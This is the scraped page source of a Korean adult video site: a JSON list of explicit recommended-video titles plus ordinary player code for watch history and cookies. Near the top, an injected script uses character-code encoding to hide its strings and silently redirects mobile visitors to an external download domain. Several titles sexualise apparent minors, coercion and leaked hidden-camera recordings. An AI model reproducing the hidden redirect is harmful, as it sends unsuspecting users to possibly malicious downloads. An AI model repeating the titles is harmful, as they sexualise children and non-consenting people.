추천 영상
29:31
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>차 안에서의 섹스 지배: 하얀 피부의 아름다운 소녀가 삽입 전부터 욕정으로 가득 찬 체액을 흘린다</title></script></title></script>
차 안에서의 섹스 지배: 하얀 피부의 아름다운 소녀가 삽입 전부터 욕정으로 가득 찬 체액을 흘린다","lastmod":"2026-07-11","duration":"29:31","url":"/play/19153004.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzM5YWYyYjZjNmE4ZjA3MjQ3NmJkNGQ3NTg0ZGE4OGYuanBn.cache","vod_id":19132265,"title":"고가의 에스코트 인플루언서 - 구강성교, 페니스 빨기, 고환 빨기, 최고의 혀놀림 기술","lastmod":"2026-02-13","duration":"00:00:42","url":"/play/19132265.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDMvZDVlYmYzNGI0M2JkNmY4NTlkYzg0YTllNGRmNWNkNTguanBn.cache","vod_id":19123375,"title":"아름다운 금발 미녀","lastmod":"2025-10-03","duration":"03:23","url":"/play/19123375.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMWIwNDdkYTI0YmJiYjdiM2Q3OWViYzg2MDkwYmIyZDIuanBn.cache","vod_id":18930750,"title":"귀엽고 사랑스러운 인터넷 스타 코알라는 셀카를 올리고, 채팅을 하고, 위챗에서 친구 신청을 합니다. 통통한 몸매에 사랑스러운 핑크빛 피부를 가진 그녀는 최고급 레이스 속옷을 즐겨 입습니다. 목소리 또한 매우 부드러워 아름다움의 극치입니다.","lastmod":"2025-03-19","duration":"27:39","url":"/play/18930750.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGJmODVjYTY1ZmQ0YzU1YmZlZDUxNzU4NTg5MzlkNjYuanBn.cache","vod_id":19137825,"title":"TPPN-240-C 젖꼭지가 꼿꼿하게 서고 땀이 비오듯 쏟아진다! 정액으로 가득 찬 후, 생식기는 비정상적으로 예민해지고 이후 삽입에 의해 더욱 자극된다! 가슴 오르가즘과 함께 땀이 난다.","lastmod":"2026-02-13","duration":"01:59:29","url":"/play/19137825.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzBkMjAyOTNjZjMyYjk2NmQ0MDI0OTQwM2Y5MDZmYzYuanBn.cache","vod_id":19017273,"title":"Invincible Rabbit_Sisters는 진동 에그로 서로의 보지를 핥고 자위하며, 딜도를 삽입하고 하얀 정액을 흘려보냅니다 @porn91x.","lastmod":"2025-03-19","duration":"57:16","url":"/play/19017273.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMmU0ZDk5MjgzMDRhZWJhZWQ4MjU0YjIzN2Q2ZmMwOGMuanBn.cache","vod_id":19130891,"title":"상하이 F컵 자동차 모델 리야가 부유한 남성과 성매매를 하는 모습이 담긴 희귀 고화질 영상이 유출됐다.","lastmod":"2026-02-13","duration":"43:13","url":"/play/19130891.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzY2Yzg4MDU4NzQ1NmExMTY0MDM0MTNjM2QwZDVkZDguanBn.cache","vod_id":19060724,"title":"집에서 가장 성숙한 여인으로 보이는 그녀는 파파야 우유처럼 탱탱한 가슴을 드러낸 채 음악이 시작되자마자 유혹적인 춤을 추기 시작했다.","lastmod":"2025-03-19","duration":"28:29","url":"/play/19060724.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MTQvMDIwODMwZjZiZmVmZWIyODlhMGY2NjYyYmUxODAyMjQuanBn.cache","vod_id":19104503,"title":"#1 놀랍도록 아름다운 여인의 환상적인 쇼! 얼굴을 드러낸 그녀의 라이브 스트림은 정말 야하고, 매혹적인 가슴과 글래머러스한 엉덩이를 자랑합니다.","lastmod":"2025-05-14","duration":"08:55","url":"/play/19104503.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTA2MTU3M2JlYTRhZjdiNTY5NTVkNjcyNjA5OWJiZDQuanBn.cache","vod_id":18952143,"title":"순수하고 천진난만한 여고생은 부유한 남자에게 길들여져 훈련받고, 개 목줄을 차도록 강요당하며, 인생이 망가졌다.","lastmod":"2025-03-19","duration":"29:12","url":"/play/18952143.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MDYvMmQxZTBlMDhjMjgwMzc5YmU0MTBjNGNiNDhlYmM2ZWYuanBn.cache","vod_id":19115426,"title":"십대 소년 소녀들은 다양한 체위를 사용하여 성적인 유희, BDSM 및 자극을 위한 성적 행위에 참여합니다.","lastmod":"2025-08-06","duration":"29:33","url":"/play/19115426.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvY2EwOTdmYzYyNjM2MzJhMDhiNDVjOTU4MzE0NWE0MDYuanBn.cache","vod_id":18953188,"title":"변태 사진작가 ED 모자이크는 눈부시게 섹시한 모델과 치열한 대결을 펼쳤다.","lastmod":"2025-03-19","duration":"21:17","url":"/play/18953188.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWU0OGIzOTY2NzllNDU3NTY4NWM0Nzg0NjY3ZWE2ZDMuanBn.cache","vod_id":19044670,"title":"여자친구의 신음 소리가 너무 달콤하고 매혹적이야. 콘돔 없이 뒤에서 관계를 맺고 있는데, 그녀는 피부가 하얗고 부드러워서 격렬하게 신음하고 있어.","lastmod":"2025-03-19","duration":"00:00:44","url":"/play/19044670.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzUxNjkzMmMzNzEzYTYwNzk1YmE0Y2MzMmU4Zjg5Y2YuanBn.cache","vod_id":19053835,"title":"딸아이의 예쁘고 여린 작은 국화꽃 같은 곳을 훈육하는 중이에요! 보지는 여전히 멀쩡하지만, 항문은 가지고 놀아서 완전히 망가졌네요!","lastmod":"2025-03-19","duration":"15:07","url":"/play/19053835.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmZkYjgyYWQ2Mzc2MGE5ZWYyYWQ0NmM4ODdlNGM1MGIuanBn.cache","vod_id":19036179,"title":"발 핥기를 좋아하는 음탕한 여자들의 셀카 모음, 최고의 실력 5점.","lastmod":"2025-03-19","duration":"02:20","url":"/play/19036179.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvY2IxZWZlNWEyZjFlZmE0YmU5N2NlODQ1OTY3ZjQzNGUuanBn.cache","vod_id":19142465,"title":"대조적인 암캐 시리즈 - 알고 보니 그 암캐는 큰 장난감을 좋아하네요","lastmod":"2026-03-19","duration":"39:33","url":"/play/19142465.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDMvMjczMjJhOTVlNTM2MGIyNDZmNDgxYWQ5NDMyZTBmYmUuanBn.cache","vod_id":19123354,"title":"목마르고 욕정에 가득 찬 여자가 검은 스타킹과 하이힐을 신고 남자를 유혹해 열정적인 섹스를 즐긴다.","lastmod":"2025-10-03","duration":"03:15","url":"/play/19123354.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDUvMDZjNDc2YTg4OTk5N2MzOTA3Y2I0M2UwYmYwZDIwYjUuanBn.cache","vod_id":19098910,"title":"돈이 최고지! 순진한 21살 여대생을 낚기 위해 엄청난 돈이 지불됐어! 완벽한 몸매에 눈부신 미모! 풍만한 가슴과 검은 스타킹을 신은 그녀는 유혹에 넘어가 숙제도 끝내기 전에 섹스를 하게 됐지. 36D 사이즈의 가슴은 정말 환상적이었어! 콘돔도 없이 격렬한 섹스를 했고, 남자는 그녀의 입에 사정까지 했어!","lastmod":"2025-04-05","duration":"03:18","url":"/play/19098910.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2RiOGQwZmVjMDEwYTY3MDU0ZTRlNmUxYzIwY2I3NGIuanBn.cache","vod_id":19016922,"title":"안경을 쓴 놀랍도록 아름답고 세련된 여성! 섹시한 서스펜더 탑과 끈팬티를 입고 있네요!","lastmod":"2025-03-19","duration":"01:53:17","url":"/play/19016922.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTNhMjQ1OTczZGIxYjkwNzM0YWJmOTUwYWJhNTRlNjYuanBn.cache","vod_id":18936311,"title":"[감시 영상] 러브호텔의 장미 테마 스위트룸에서 젊은 대학생 커플의 성관계 장면이 새로 유출됐다","lastmod":"2025-03-19","duration":"35:21","url":"/play/18936311.html"}]},
videoTitle: '날씬하고 아름다운 암컷 개 [린얼]의 훈련 과정이 유출되었다.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}